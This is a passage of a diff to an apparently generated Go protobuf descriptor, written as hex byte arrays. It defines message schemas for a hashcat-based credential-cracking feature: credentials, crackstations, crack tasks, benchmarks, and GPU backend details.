0x69, 0x73, 0x61, 0x62, 0x6c, - 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, - 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, - 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, - 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, - 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, 0x37, - 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, - 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, - 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, - 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x4c, - 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, + 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, + 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, + 0x48, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x18, 0x05, + 0x20, 0x03, 0x28, 0x09, 0x52, 0x09, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, 0x65, 0x73, 0x12, + 0x32, 0x0a, 0x07, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6f, 0x6d, 0x70, + 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x52, 0x07, 0x54, 0x61, 0x72, 0x67, + 0x65, 0x74, 0x73, 0x12, 0x3f, 0x0a, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, + 0x69, 0x6c, 0x65, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, + 0x69, 0x6c, 0x65, 0x72, 0x52, 0x0e, 0x43, 0x72, 0x6f, 0x73, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x69, + 0x6c, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, + 0x69, 0x61, 0x6c, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x1c, 0x0a, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x09, 0x50, 0x6c, 0x61, 0x69, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x12, 0x12, 0x0a, + 0x04, 0x48, 0x61, 0x73, 0x68, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x61, 0x73, + 0x68, 0x12, 0x2e, 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, + 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, + 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x65, 0x64, 0x12, + 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, + 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, + 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x45, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x36, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, + 0x74, 0x69, 0x61, 0x6c, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, + 0x6c, 0x52, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x22, 0x4d, + 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x3c, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xed, 0x01, + 0x0a, 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, + 0x55, 0x55, 0x49, 0x44, 0x12, 0x26, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, + 0x74, 0x61, 0x74, 0x65, 0x73, 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x0a, 0x11, + 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, + 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x11, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, + 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, + 0x73, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x12, 0x33, 0x0a, 0x07, 0x53, 0x79, 0x6e, 0x63, + 0x69, 0x6e, 0x67, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x52, 0x07, 0x53, 0x79, 0x6e, 0x63, 0x69, 0x6e, 0x67, 0x22, 0xa9, 0x01, + 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, 0x61, 0x74, 0x75, + 0x73, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, + 0x52, 0x05, 0x53, 0x70, 0x65, 0x65, 0x64, 0x12, 0x43, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, + 0x65, 0x73, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x53, 0x79, 0x6e, 0x63, 0x53, 0x74, + 0x61, 0x74, 0x75, 0x73, 0x2e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x1a, 0x3b, 0x0a, 0x0d, + 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x02, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xc9, 0x01, 0x0a, 0x0e, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x12, 0x0a, 0x04, + 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x48, 0x0a, 0x0a, + 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x28, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, + 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, + 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xd9, 0x01, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, + 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, + 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, + 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x09, 0x53, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, + 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, + 0x03, 0x45, 0x72, 0x72, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, + 0x30, 0x0a, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x22, 0xed, 0x03, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, + 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, 0x70, + 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, + 0x4f, 0x53, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, + 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, + 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, + 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, + 0x48, 0x61, 0x73, 0x68, 0x63, 0x61, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a, + 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x46, 0x0a, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, + 0x6b, 0x73, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x2e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x52, 0x0a, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, 0x12, 0x2d, 0x0a, 0x04, + 0x43, 0x55, 0x44, 0x41, 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x04, 0x43, 0x55, 0x44, 0x41, 0x12, 0x30, 0x0a, 0x05, 0x4d, + 0x65, 0x74, 0x61, 0x6c, 0x18, 0x65, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x42, 0x61, 0x63, 0x6b, 0x65, + 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x05, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x33, 0x0a, + 0x06, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x66, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x42, + 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x06, 0x4f, 0x70, 0x65, 0x6e, + 0x43, 0x4c, 0x1a, 0x3d, 0x0a, 0x0f, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x05, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x22, 0xa1, 0x02, 0x0a, 0x0f, 0x43, 0x55, 0x44, 0x41, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, + 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, + 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, + 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, + 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, + 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, + 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, + 0x72, 0x65, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x55, 0x44, 0x41, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xd9, 0x02, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, + 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x54, + 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, 0x12, 0x16, 0x0a, 0x06, 0x56, + 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x56, 0x65, 0x6e, + 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x18, + 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x6f, 0x72, + 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x07, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, + 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4d, 0x65, + 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x65, 0x6d, + 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, + 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0d, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x30, 0x0a, 0x13, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x56, + 0x65, 0x72, 0x73, 0x69, 